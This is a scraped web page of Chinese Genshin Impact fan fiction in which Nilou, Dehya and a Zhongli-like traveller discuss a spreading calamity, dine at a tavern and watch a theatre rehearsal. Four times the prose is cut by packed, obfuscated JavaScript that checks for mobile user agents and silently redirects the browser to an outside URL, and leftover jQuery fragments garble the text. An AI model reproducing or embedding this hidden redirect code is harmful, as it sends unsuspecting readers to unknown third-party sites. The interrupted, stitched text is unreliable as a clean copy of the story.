;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279215|182475||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了,作为人气很高的明日之星,她的时间安排向来很紧凑的。除了正式演出、和剧场的同事们排练、正常的练舞时间之外,她还把大量自由时间投入到加练中,以至于常规意义上的放松占到的时间少得每一秒都弥足珍贵。
只要对她的日常稍有了解的人,无不对她在这个年纪就能在舞蹈艺术上达到如此造诣心服口服。
人家有天赋,还比别人都努力,她不成功谁成功呢?
不过这次,迪希雅确实猜错了:“这次确实是在放松,不过不是抽空了,而是原本的演出延期,下午两个场次都空了出来。”
妮露看起来心情不太美妙:“因为外面的异变,最近取消和延期的演出越来越多了。一开始,我会把这些空出来的时间都用来练舞,但后来我发现,只是干等着,祈祷灾异过去、一切会恢复原状,这样是不行的。”
“哦?怎么说?”哈达察布有点好奇。
“我的人气此前就挺高的,收入自然就比许多从事这一行业的人要高,所以我可以心无旁骛地精进自己的舞蹈,就算现在少了一些场次,其实影响也几乎可以忽略。”
反正都是在跳舞,在演出中跳舞和在排练、在练功室里跳舞,除了场地服装道具不同导致的发力略有差异之外,并没有什么区别。
“但,许多同样在跳舞的同伴们没法像我这样。”
妮露有点难过。
她很喜欢在舞台上演绎舞蹈艺术的美,期待着有更多的舞者和她一样精进舞蹈,可另一方面,她也非常体谅那些只是把演出当做一门养家糊口的技能的人。
人间百态。
演出的场次少了,许多原本靠表演来讨生活的人得不到演出带来的各种收入,只能想尽办法另求出路。
人心浮动,自然精进维艰。
“我这次出来,本来是想去我相熟的一位舞者家看看。”她摇了摇头,“她有一个弟弟一个妹妹,前段时间都因为家里收入拮据而辍学了。”
“那他们的父母呢?他们没有向父母请求过帮助吗?”哈达察布追问。
“她的父亲在梨多梵谛学院神神叨叨了十年,”妮露比了个十字,语气复杂,“这厮还没毕业,她的母亲在悉般多摩学院七年多了,也还没毕业,学费几乎都是拿那位舞者的演出费交的。比起向这样的父母请求帮助,嗯,她不被父母请求帮助就算小吉祥草王保佑了。”
听得出来妮露对这家人的父母是相当看不上的。
“所以?”迪希雅挑了挑眉,“你想帮助他们?”
妮露确实人美心善,但她也不是会这么随意发散自己的善心的人。
妮露点点头,又摇摇头:“原本我是想着,能不能给她家的弟弟妹妹找到他们能做的活,不说立刻就攒出能继续学业的家底,也起码能让他们仨在家过得好一点。”
“但是,在这段时间看过许多同样因为异变而陷入窘境的事情之后,我就知道这样的帮助只是扬汤止沸杯水车薪。”
这才是大多数平凡的人们最真实的困境。
“那你还试图把我挖去跳舞?就不怕我也如那般困窘?”哈达察布哂笑道,扬着艳色的眉眼放松得不像是在听这么严肃的叙事。
他不是那种容易被打动的人。妮露想。
“我相信迪希雅的眼光,也相信能被迪希雅视为朋友的你,哦,现在你是我的朋友,我当然也相信你。”她自信地摊了摊手,“就算是在废墟中,也要起舞,这本就是文明的骄傲和证明。”
“我相信你,你也是这样的人。”
8. 妮露的变化
很难评价这种堪称莽撞的信任。
哈达察布摇了摇头,选择转移话题,“此处人多眼杂,你们确定要就在这里这么聊下去?”
她们两个,一个是大巴扎的人气新星,一个是佣兵团的炽鬃之狮,都不是什么籍籍无名的人,加上码头人流密集——
但凡有心人做点儿什么,刚刚她们话里谈论的那一家子,不说那对失格的长辈,辛辛苦苦拉拔一家人的舞者绝对要在接下来一段日子迎来不少麻烦事。
不要高看粉丝和江湖人这两个鱼龙混杂的团体的素质。
高素质的比照钟离先生和九条裟罗。
低素质的对标纯白铃兰,下不封底。
散兵和博士这种,仁者见仁智者见智,不便分类。
而剧情里没有写过的背景板们,尚且不知凡几,正如妮露提及的那一家子。
他们,这些在高维意志的注视下卑微到可有可无的——甚至不像玥文那样能够幸运地得到一个标注、一个交互,这样的人,才是这个提瓦特社会的绝大部分。
妮露摸了摸脸颊,有些不好意思:“也是,看到迪希雅太惊喜了,都没问你们应该是刚下船吧?接下来有打算吗?”
迪希雅点了点头,一边翻出来一盘光碟:“没错,你来得正好。我原本打算一会儿先去找迪娜泽黛,给她带了新的灵疗香薰。给你也带了特产回来,本来想着这个时间你可能在忙,晚些再把你这份带去大巴扎的。”
“是枫丹新歌舞表演的映影,我觉得这像是你会喜欢的类型,呶。”
妮露迫不及待地接过,眸中秋水亮得像雨后见晴的蕉叶,“歌舞!”
哈达察布的关注点和妮露不一样:“唔,关于枫丹,须弥城这边最近有什么特别的消息吗?”
“怎么?是发生什么了?”迪希雅不明所以,“你这是有新的行程计划吗?”
“枫丹……嗯,”妮露沉吟半晌,依旧毫无头绪,无奈摇了摇头,“不好意思,我大部分时间在大巴扎跳舞,确实没听说枫丹有什么事。”
“有枫丹的客户吗?”
“有啊,怎么?”妮露也觉得哈达察布的反应很奇怪,“你是想到了什么枫丹的事吗?跟这张映影有关?”
哈达察布随即把自己从玥文那里听来的消息告诉了二人。
“外面居然已经乱到这种程度了吗?”妮露最近听过不少异变的消息,依旧觉得很难以置信,“我在剧场能感觉到的影响,也就是客人变少了、很多演出场次黄了——这种级别,我的平常生活和之前可没有什么区别。”
足见须弥城确实底蕴深厚,灾异造成的各种资源流通减少并没有引起城内生活秩序的动乱,与那个地址错误的白淞镇表现截然不同——
他至今仍不知道是什么驱使水手们迫不及待地离开迷航时幸运发现的一块陆地。
“我是在喀万驿淘到这张映影的,去喀万驿的路上还没有发生后来的异变。”而之后的发展,就是他们俩共同经历的那样了,“你是觉得,这张映影来自肯定也已经出了问题的枫丹,可能不安全,是吗?”
“但没有切实的证据表明它是不安全的。”妮露反驳道。
朋友惦记着自己,大老远给她也带了礼物回来,她不希望这份纯净可爱的心意蒙上阴霾。
为了世间的美好可爱,不也是她的舞蹈艺术存世的价值中无比重要的组分吗?
“我们至今仍不知道白淞镇发生了什么,再怎么小心也不为过。”哈达察布没有反驳,“在璃月,有些大能甚至只需要知道一个人的名字,就能够完全支配这个人的一举一动。名字是媒介,画面也可以是媒介,我不认为枫丹会没有同一等级的力量。”
甚至连他自己,在合并高维的状态下,只是作为数据的他,也不是不能做到类似的效果。
在场的两个朋友都反对她迫不及待想要找个放映机看枫丹歌舞的映影。
一想到不能立刻看到邻国新出的歌舞表演,妮露顿时有些垂头丧气:“居、居然这么可怕的吗?”她拍了拍脸颊,试图让自己振作起来,“好吧好吧,想点儿好的,至少这好叫我知道,一直在大巴扎练舞的话,是编不出贴近生活真实的舞步的。”
谁会想在惶恐于自己还能不能活到明天的时候,看一场“感谢小吉祥草王保佑我们生活和乐富足”的舞蹈呢?
她想着想着便不知不觉间碎碎念起来:“这种时候,一场‘经历了种种惊险考验、但我们还坚持像个人一样,骄傲而坚强地打破所有障碍闯出生路’的演绎,应该会让观众更有心情去面对可能会到来的糟糕的事。”
“所以,妮露你是想要把原计划的演出空出来的时间用来取材吗?”
“确实有这样的想法,嗯……好吧,其实我现在有点儿……不知道该做什么。”妮露摇了摇头,直白地说出了自己的困扰,“我知道不能把空出来的时间也只拿来练舞,我知道要做出一些改变,但,我不知道自己还应该做什么。”
“我想去看看那个与我相熟的舞者家里的现状,我也想去到处看看灾异对其他须弥人、至少须弥城里的人们日常生活的各种影响……有很多想做的事,这却让我不知道该做什么好了。”
哈达察布判断道:“你这是到瓶颈期了。”
天赋卓绝的舞者年纪轻轻就遇上了已经无法通过练习来精进、几乎进无可进的处境。
和大多数同行不同,她要在舞台上演绎超越此前的艺术之美,只从自己的技艺上着手,断然是不行的。
迪希雅戳了戳舞者软乎乎的脸颊,“哎呀,这种让人头秃的工作当然是交给伟大的直觉啦!就像你的舞蹈那样,没文化的人也能看得开心,怎么做让你觉得心里更舒服就怎么来好咯!”
“事有轻重缓急,莫要自乱阵脚。”
在两个朋友善意宽容的注视下,妮露沉吟片刻,复又扬起了胸有成竹的笑来:“我想好了!”
迪希雅和哈达察布鼓励地示意她继续说。
妮露伸出食指晃了晃:“我现在想做的,是拉着你们俩一起到兰巴德酒馆去聚个餐,先吃顿好的,然后我们去逛街!怎么样——想不到吧?”
迪希雅捧场地鼓起掌来。
哈达察布若有所思:“其实这已
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279216|182475||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
经是你刚才所提及的待办事项中的一件了,毕竟酒馆聚餐和逛街都是容易发现灾异影响的场合。”
他说完这话,才发现另外两人都用一种一言难尽的表情看着他,有些摸不着头脑:“怎的这般看我?”他再次检查自己刚刚说的话,“我应当未曾说错?”
“我现在明白你为什么说自己是岩神像了。”迪希雅恨不得真在自己脑门上挂上一排黑线,“真不愧是石头啊你!”
妮露也扶额叹气,觉得自己哈不出来了:“走吧走吧,现在是放松的时间,放松的时间就应该放松地生活,千万别学教令院里有些人那样本末倒置,好好的灵性愣是成了饭颗山上的呆子。”
“这话由妮露你说出来,总觉得哪里怪怪的。”迪希雅一边跟在妮露后头走,一边调侃道,“放松的时间就应该放松的生活诶~话说你的放松时间呢?”
“放松时间当然是用来做自己喜欢的事啊。”比如跳舞,比如编新的舞,比如看好看的舞,这些都能让妮露感到放松快乐。
这些能够让妮露感到快乐的活动是需要周围环境的配合的——它需要相对平和安定的生活环境。
逐渐浓郁的灾异阴霾也在迫使她去改变,去寻找新的出路。
同样跟在妮露身后的哈达察布没有插入两个姑娘的插科打诨,多数时候只安静地听着看着。
说着想去看看灾异影响的少女,可能她自己都没有意识到,想要这么做的她其实已经是受异变影响的一部分了。
没有谁能独善其身。
在他眼前随着行走逐渐往后流动的须弥城看起来很安稳平常,不难理解妮露为什么会难以察觉异变对这座树居城市的影响。
连偶见于路边花丛里的帕蒂沙兰都开得嫩生生的,比起妮露久经观众审美考验的脸蛋,也只少了点儿真正青春年少的人难以被模仿的细绒。
久居茧房的人被遮风挡雨的厚障壁保护得很好,以至于很难想象,这样一座不说歌舞升平、但看起来也还能安居乐业的城池,其实已经是兵临城下的险地。
兰巴德酒馆依旧生意红火。
“大叔,我要一份帕蒂沙兰布丁和一份镀金锅。”妮露显然是这里的熟客了,进来就先点了两个菜,随后转头看向哈达察布,“你有什么忌口的么?”
“唔,此地菜单且容我一观罢,品尝须弥美味的特色饮食也是游历中不可或缺的体验。”哈达察布很快就决定了自己的食物,“老板,我点一份兽米香香。”
这是一个风味优秀、但其实很不符合高维惯性认知里的钟离的选择——兽米香香,也可以叫做手抓饭,顾名思义,这种食物最传统的吃法是讲究得用手抓着吃的。
他和妮露一起,各自拿起了勺子,“据传兽米香香最开始是直接以手抓食的佳肴,听起来很不可思议。”
人类各个文明的饮食发展,都会经历一个从直接上手拿起食物、到使用其他工具去拿起食物的过程,“它应该是一道很古老的菜肴了,这么一想,我如今大概是在和许久之前的人们享用着相似的风味吧。”
听到这句话,妮露顿时眼前一亮。
9. 酒馆小聚
“没想到你居然会尝试这个,不少外国人第一次吃兽米香香时,会不太适应玛萨拉的风味,特别是璃月人。”妮露脸上明明白白写着惊喜的情绪。
对于这一点,迪希雅行走四方多年,也是有所了解的:“璃月人的饮食口味大多没这么重,其实更不适应玛萨拉的应该是枫丹人,吃惯了奶油禽蛋的舌头可比璃月人的嘴巴还刁钻。”
“而且,璃月有着执政神明中最古老的岩神同行,很多璃月人其实多少都有点儿自傲于他们比其他国度更悠久的数千年历史——不是说这不对,只是往往会在有意无意之中变成一种……攀比?”
妮露咬着勺子,斟酌措辞间带着些不确定:“我所知的外国人很少会说像你这样的话,‘我现在在和很久以前的须弥人吃着同样的东西’……说实话,我很惊讶于你的想法。”
对于璃月式的隐形骄傲,哈达察布无法为其开脱:“达者为师,真正值得人们骄傲的,非是虚度光阴的岁月蹉跎,而是百尺竿头更进一步的超越。”
他转了下勺子,“许多年前的人类,也会为如今便捷的生活感到骄傲吧。”
“要是能让以前的人们也看到我的表演那就更好了,我就可以当着前人的面骄傲地说:‘看!我们有了更好的服化道,有了更引人入胜的故事,有了更美妙的舞步!’”
就算这个过程中会有许多磕绊,我们还是会做得更好,不用担心。
妮露很擅长调节情绪和氛围,这是任何一个靠登台表演吃饭的人必备的技能。
“按这么说,你可能会更需要一本轻小说,或者一个会写轻小说的人。”迪希雅用叉子叉起锅里的肉块,在进嘴之前快言快语回话道,“题目就叫做《穿越到千年前,我在老祖宗面前……呃,一舞倾城》?这要能写出来绝对大卖。”
简而言之,梦里啥都有。
哈达察布咽下了嘴里的米饭,笑道:“如果是在以前,你这般想合情合理,可今时不同往日。既然白淞镇可以出现在错误的地点,那我们或者先人为何不能出现在错误的时间呢?”
妮露摇摇头,笑得无奈:“想也知道,这种事发生的可能性,简直就跟白捡一个教令院毕业的学位差不多嘛。”比她更像在做梦,根本不能指望。
须弥城、或者说妮露被保护得太好了。
以至于就算是从哈达察布那里知道了出现在错误地点的白淞镇,也知道了在须弥的荒郊野外正在发生着种种致命的灾难,她的思维也依旧保留着许多久居温室的习惯。
迪希雅看着妮露,只觉得自己在看着什么易碎的东西,“万一小吉祥草王听到这个想法也很喜欢,帮你实现了这个愿望呢?”
她明知妮露并非什么脆弱的存在。
这种小心翼翼的心态,不对,也不好。
只能说人之常情。
“到那个时候,我要带小吉祥草王大人和先人们一起,与我共舞。”
“哦?我以为你会先问问草神大人外面的灾害是怎么回事。”对哈达察布而言,妮露这个人确实是很难以捉摸的。
就以面见草神的可能为例,如今知道了灾难近在咫尺的须弥人大概很难不想从神明那儿知道点儿什么,而会在不知道会有多久的见面时间里,第一时间想到的是跳一支舞——
至少对哈达察布而言,这太超纲了。
物有本末,他们对轻重缓急这一分类的认知有着显而易见的鸿沟。
“因为相信草神大人已经有在努力解决问题了呀,这种时候,与其问一些我们根本帮不上忙的问题,还不如用最好的面貌去鼓舞祂、让祂充满勇气地走下去。”
个人的力量是渺小的,哪怕拥有神之眼的人,也不例外。
她很有自知之明。
人和人的差别是很大的,迪希雅能够被这样的理由说服,但哈达察布不行:“我的话,更希望行使知情权,至少如果能够回到人群中,我可以在必要时让周围人知道发生了什么。”
见证者为见证而来,铭记者为铭记而生。
可能对有些神明而言,人所经历的种种不过是过眼云烟,没有记录的必要——这也是许多早期人类文明会有的表现。
他们并不重视修史。
“万一能有用呢?”
百感交集欲言又止到最后,哈达察布也只憋出来这么一句没什么营养的话。
他好想要一张像凝光和多莉那样舌灿莲花的好嘴,至少不用像这样净说些呆话,让自己在反应过来之前就成了杠精兼话题终结者。
“也是,我可不希望稀里糊涂的死掉——呼!吃饱了吃饱了!”
狮女王的进食过程有着不同于一般佣兵的优雅,与此同时也兼具了佣兵惯有的高效。
而妮露很少在非饭点吃东西,这次点的帕蒂沙兰布丁本来就是寻常作为点心的甜品,相比镀金锅和兽米香香这两个足以在寻常人家的家庭聚会里摆上c位的硬菜,布丁那点份量显得很袖珍,就算进食速度不快,她也是第一个吃完自己的食物的。
一时间,这张饭桌上还在进食的,就只剩下哈达察布一个人。
他进食的过程是和迪希雅不同风格的优雅,只不过速度更慢,不是那种迪希雅常见的,因为总在饭桌上和饭搭子聊天、或者吃着吃着就想起什么并立刻去做的、性子不安定容易转移注意力带来的慢——
看着他吃饭,你会觉得他是在“细细品尝”,而不是在“填饱肚子”。
迪希雅有些感慨:“我头一回和哈达察布一起吃饭,还是第一次见面他拉着我跑出一片死域之后,那个时候,他就好像我们不是刚从死域出来,而是在一家酒馆里和平常一样吃饭。”
“多讲一讲你们路上的经历呗?”妮露显然对迪希雅提到的新话题很感兴趣。
除了出于对友人遭遇的关心,也少不了一个渴望演绎新故事的艺术家的热情。
死里逃生的佣兵,满是疑点的同路人,闯过种种不可思议的艰难险阻,最终到达草神大人所在的须弥城。
这样的故事都足以编出一支像至冬的《天鹅湖》那样的大型舞蹈了。
迪希雅同样不缺热情,也对自己的老朋友足够了解——诡异地能够跟有了新灵感的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279217|182475||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
妮露对上脑电波,但——
她实在不擅长讲故事。
不是说她讲得不对,她没有歪曲或是夸大或是含糊自己的经历,就这么老老实实地讲述起这一路上的平静和惊魂。
故事内容不分主次,经常讲着讲着、因为插入了自己的想法评价脑洞而不知不觉间便又不知道说到哪里去了。
也难为妮露能这么热情饱满地听下去。
没过一会,哈达察布也吃完了饭,成了妮露的听书搭子,偶尔插两句嘴权作补充。
且听且话,三人就这么在兰巴德酒馆一直闲到傍晚、妮露顺便在这里吃完晚饭,这才结账离开,准备去大巴扎观看妮露今晚的排练。
为了鼓励进步、防止竞争者剽窃,在须弥的律法中,分门别类细致罗列了许多种有保密流程的事项。
比如教令院学生们都不陌生的论文原始数据采集。
又比如,对教令院某些眼高于顶的学者们而言可能相当反直觉的,这种民间剧团尚未首演的艺术作品的彩排,也可以提前申请密保。
迪希雅和哈达察布作为祖拜尔剧场的外人,他们当然要签保密契约,哈达察布作为一眼就知道不是须弥人的异邦人,签约事项流程之繁杂更不亚于普通人加入冒险家协会。
↑别看来自高维的旅行者加入冒险家协会好像轻轻松松,但对普通人而言,冒险家这种职业门槛可真不低,不是谁都能入行的。
旅行者当冒险家那么赚钱,为啥还是有那么多人不去当冒险家啊?是人家不想赚钱吗?是摩拉不香吗?
这还是有妮露这个祖拜尔剧场的中流砥柱作保才有的优待。
哈达察布心情微妙地看着手里的保密文件,想到现在还在自己的文件夹里躺着的签了钟离先生的名字的地契。
啊,这次不能签钟离先生的名字了呢。
毕竟这个欣赏表演艺术的享受体验和房地产不一样,并不能分享给钟离先生本人接收到,签人家的名字不符合契约的准则。
那就只能签自己的暂用名了呢。
签的名是暂用的,指模是自己拿算法跑出来的。这回可真的是瑶瑶领先,该来一句“有辱师门”了。
众所周知,钟离先生的手套跟鞋子不一样,是焊死了的,他就是想尽可能以诚待人一下、脱手套摁个指模都做不到。
不知名的意志您是有什么心事吗?为什么总要在这种奇奇怪怪的地方这么细节?
想到之前跟迪希雅同行的时候,如果是让自己去打牦牦驮兽,不开科技挂的话,自己永远只能拆解出三块兽肉,这种奇怪的发展——
好消息,打一只能爆三块兽肉,大小可以通过“俺寻思”来调剂一下。
坏消息,打一只只能爆三块兽肉。
结果让迪希雅有好几天都拿看败家子的眼神瞅他,后来就干脆直接包圆了打猎屠宰的活,完事直接坐下等他做完饭开炫。
想想还怪不好意思的。
这回要去看妮露彩排,却不得不做这种很对不起钟离先生的形象的事——
还是怪不好意思的。
10. 片场一隅
晚上的大巴扎是一个热闹但有序的地方。
须弥城是一个因神明所在而存续、因学者和知识的富集而兴盛的城市,即便是距离精英们过于遥远、几乎无望飞黄腾达的下里巴人,也难免在有外人在场时,表现得规矩些。
以哈达察布的逻辑,他没那个能耐意识到周围人的不自然——或者说,他很少会就自己感到不自然的事物展开这种人文上的深层次发散。
不同于示在人前的用于正式表演的大舞台,在大巴扎这种本质上只是一个树洞的地方,彩排的舞台自然没有那么好的配置用于人前的体面。
或者说,它本就是被淘汰下来的过时产品。
哈达察布听着舞步落在地毯上的沉闷轻响,暗自猜测着这个练习舞台的年龄。
从磨损的程度来看,这个舞台可能比迪希雅还要年长,甚至妮露的父母都得以长辈事之。
排练的场地并不是什么会吸引观众的地方——它本也没有准备这样的功能,并没有留下给观众的空间。
跟排练场直接连着的,就是员工们休憩和进行各种准备工作的地方。
古老的七鲜桌在这里的角落缄默着送往迎来,平等地款待每一个在这片土地上生活过的灵魂。
或在舞台一角,或在烜赫高门,总有些不起眼的东西,在无声无息地述说这个文明的历史。
森林不曾忘记。
梦幻的灯光下,应和着24平均律的鼓点被舞者们翩飞的裙裾渐渐旋上高潮,帕蒂沙兰绽开了洁净的新生,捧出那轮属于未来的皎洁辉月。
在舞台上忘我的妮露,才是妮露最美的样子。
也不知那三王共治的传奇中,花与舞蹈的女主人,在兴致起时步步生花的演绎,又是何等盛景。
哈达察布有些好奇,但随即又为自己的不敬暗自懊恼。
花神毕竟是须弥的三王之一。
对一个王,非是欣赏对方能令子民安居乐业的手腕,反而只是欣赏这位王的舞姿,本就是对一个领袖、其作为领袖的付出的极不尊重。
花神业已远去多时,且按下不表,隔壁枫丹的水神可是活在当下的,她是否也曾为这样的偏见而难过呢?
还好妮露只是个舞者,而不是一个国家的领袖,这实在值得庆幸——她可以活得更轻松自在一点儿。
剧场的经理在忙着反复表演尝试对舞台效果进行各种调整,把连着妮露在内的一群人支使得团团转。
哈达察布:……
好吧,他为刚刚自己觉得这样的生活会轻松一点儿感到抱歉。
都是劳动者,辛劳是不能被用来比较的。
迪希雅则不知溜到哪里去了。
七鲜桌旁是剧场人员小憩的地方,大家都很忙,所谓小憩,其实更多的也就是在这里喝碗石榴汤,或者吃杯巴斯塔尼的工夫。
西红花的草植芬芳与酸奶的绵滑清爽相得益彰。
对于他这个生面孔,大多数注意到这里的人,也只是秉着些许好奇和审视的态度——一个好看的陌生人。
做这个行业的人见惯了美人,对于好看这种属性,天然的就比常人更多几分平常心。
哈达察布很喜欢这种在喧闹中安享一隅清静的感觉,也以为自己会在这里默默看完今晚的整个排练过程。
直到剧场的经理来到这处清净地,也坐了下来,就着这里的视野看向简陋的舞台。
妮露作为舞者们中的一员,开始了再一次的表演。
“感谢您的赏光,先生,我是祖拜尔剧场的剧作家和经理人,谢赫祖拜尔。”
这位剧场经理也是妮露带着他过来时、负责引导他签订保密契约的人。
谢赫祖拜尔看起来有不少话要跟他说。哈达察布想,便也大大方方地问了出来。
对此,谢赫祖拜尔并没有欺瞒的意思,回答也相当坦诚:“我除了作为祖拜尔剧场的剧作家和经理之外,也担负作曲、编舞、舞台设计、动作指导等工作,妮露几乎就是我看着在这里长大的人,能被她带来看她平时练习的人寥寥无几。”
物以类聚人以群分。平常人很难得到某个领域的杰出者的垂青。
妮露是谢赫祖拜尔看着长大的,他清楚妮露的诸多优点,也清楚其尚且稚嫩的地方——她热情、善良、坚韧、有些天真无邪的娇憨。
这样的性情容易感染周围人,调动情绪和气氛,也容易被引导被利用。
是以在知道她突然有了能够走得这样近的新朋友时,他总免不了对这个陌生人多几分审视。
上一个得到这一待遇的,是迪希雅。
但那种距离感也很快因为同有一个金主、以及迪娜泽黛小姐的背书而消解。
可这次不一样。
妮露带回来一个老朋友和一个新朋友,这个新朋友是通过老朋友认的,而且不是须弥人,跟同为须弥人、有迪娜泽黛小姐和呼玛依家背书、而且相处较久确实可信的老朋友迪希雅差别可大了去了。
明星的人际关系管理比起常人要多出许多雷区,由不得他们全然随性。
全须弥喜欢妮露的人多到足够人挤人地从化城郭排到跋松顶,你有什么倚仗,你凭什么不同于其他喜欢她的人,成为被她另眼相待的那个特殊?
“就当是我对小辈的关心吧,我想知道您是如何看待妮露的呢?”
哈达察布为谢赫祖拜尔调了一杯姜黄茶递了过去,“我的想法?对妮露而言,这不重要,她这样就很好。”
“打一开始认识她的时候,我就知道她痴迷于舞蹈艺术,她甚至试图把我挖到大巴扎来跳舞——唔,当时她看起来很认真,是以我也认真地拒绝了她。”
哈达察布回想起就在刚刚过去的这个下午的邂逅,笑得神采舒展:“好叫她知晓了,我‘既无台下苦练寒暑不辍之勤功,又无鸟兽天性灵活奇巧之异禀’,来到大巴扎,也只能为优秀的表演捧捧场。”
神像起舞这种事更像是会出现在草神争霸现场的玩意儿。
谢赫祖拜尔听到这个说法,愣了一下,随即对着哈达察布打量了一番:“你这副形貌,只要不是太笨手笨脚,的确可以尝试吃表演这一行的饭。”
至于像库洛什那样的,就算他样貌周正,也不建议入这一行呢。
尽管看到引以为傲的明珠带了个成年异性回来、导致一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279218|182475||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时有点儿老父亲心态上头,但他必须承认,妮露在这方面的反应确实够快。
祖拜尔剧场的招牌明星是妮露,但有些剧目,只有这一个招牌是绝对不够的。
很多时候,尤其是在话剧表演中,优秀的妮露总会把拍马莫及的其他角色衬得黯然失色,导致他为了整体效果的和谐,不得不忍痛放弃最优的编舞和设计,转而采用能够兼容双方的次选。
但凡剧团里再有一两个水平相近的好牌……
谢赫祖拜尔旋即摇了摇头,暗自骂自己痴心妄想贪婪无度:像妮露这样的天才,自家剧场能有一个都该感谢草神大人恩宠,居然还奢望能再来一个,这可真是太不智慧太不须弥了。
“所以,妮露那孩子就邀请你来剧场,嗯,‘捧捧场’了,对吧?”
别说经理这样熟悉的人了,就是对妮露了解不多的人,也能猜到这位热情心善的舞者会如何对待一个有“捧场”意愿的人。
这的确是个很能给他增加工作量的招牌明星——他信任妮露的感染力和直觉,也信任与妮露和祖拜尔剧场方面都交好多时的迪希雅的眼光,但也必须通过自己去确认,这次被引来的不是金玉其外败絮其中的人。
他看得出来,这人既不是妮露的粉丝,也不是什么对家。情绪很平稳,他谈到和妮露的初见时的神情,与自己在家里分享在剧场的趣事时分明是同样的状态。
很平常,很有生活的安稳感。
有表演功底的人都知道,在活泼的湍流中隐藏冷静的内核,比起在一潭死水中隐藏惊涛骇浪要来得更容易。
这位只是待在这里就让人不自觉地也沉静下来的男子自然不是前者,这张脸上但凡有任何神态变化,都会比沙漠中的绿洲更加醒目。
在他有心观察的情况下,若是来者能够在这上头骗过去,那他谢赫祖拜尔也认了。
“不错,倾城之舞固然会得到众人喜爱,然在那背后的付出也应当被记住,是以我认为我应当来此。”去看她的队伍一次又一次的调整,而不是仅仅在大舞台下为曼妙的表演喝彩。
“哦?看了练习的过程,有什么感受吗?”
在须弥,舞者往往是被人瞧不起的,哪怕是妮露这样天才耀眼的新星,也无法突破这种人群的成见。
孩子们会被大人们告诫,比起学习跳舞,好好学习考进教令院才是他们更应该做的。
从来都是上流骄子的教令官们更是一边经常光顾大巴扎的表演,转头又看不起这些下九流的戏子们。
其中,家长对孩子那充满歧视意味的教导,谢赫祖拜尔并非无法理解那种思维。
不是哪个演员都是妮露,这些演员当中的大部分人,确实收入平平——家长希望孩子未来能过上更好的生活,将之劝离此道,实乃人之常情。
而后者……
以谢赫祖拜尔的认知,尚难以全然厘清其中门道。
但可以肯定的是——
在这个智慧之神的国度,须弥这种“非教令院之属者,皆非上品”的风气一日不改,则属于底层下九流的卑微难以破除。
妮露的这个新朋友,希望不会是他们的陌路人吧。
11. 剧场底蕴
“辛劳能够收获不菲的回报,妮露足够幸运。”
旁观者的感受是苍白的。
舞台效果足够直观地反映了这个战场的残酷——哪怕这已经是一个足够好地调和了先进与后进的演绎,但谁是最耀眼的明珠依旧一眼可辨。
是其他人不如妮露努力吗?
大概是的,天赋爱好和努力并重,她成为那个最耀眼的中心简直理所当然。
可要说其他人不够努力吗?
在练习的现场,能看出他们同样付出了不菲的精力和汗水,但可以预见的是,到了万众瞩目的大舞台上,观众依旧会下意识地忽视这些“绿叶”们的衬托。
哪怕在舞台效果的表达上,他们同样不可或缺。
画龙点睛,前提是得有龙在,总不能光点睛不画龙。
爪牙锐利,犄角巍峨,金鳞熠熠,须髯猎猎,疆场翼翼,威仪赫赫。
形神如此,便是一尾盲龙,谁又会错认其为龙的身份呢?
“不是谁努力了,都能够收获与付出对等的回报,相比简直就是天之骄子的妮露,那些普普通通的演员,比故事中迎难而上挑战邪恶的勇者更了不起。”
比如那位在片场的另一个角落里练习,这一个晚上就被谢赫祖拜尔训导多次的杂耍演员。
只要看过他的练习的任何人都能知道,这个人根本没有任何表演上的天分,但他依旧成为了剧场经理的另一个注意力重点。
对此——
“哦,库洛什那小子确实毫无天赋,非要说有什么值得我认真对待的优点,也就是一个百折不挠了。”
谈到剧场里的另一个成员,谢赫祖拜尔言语间不乏敬意:“表演这条路,走得顺畅的人要坚持走下去并不算难,就像妮露,她有天赋有爱好、又比任何人都认真努力……嗯,可并非每个人都是妮露那样的天才。”
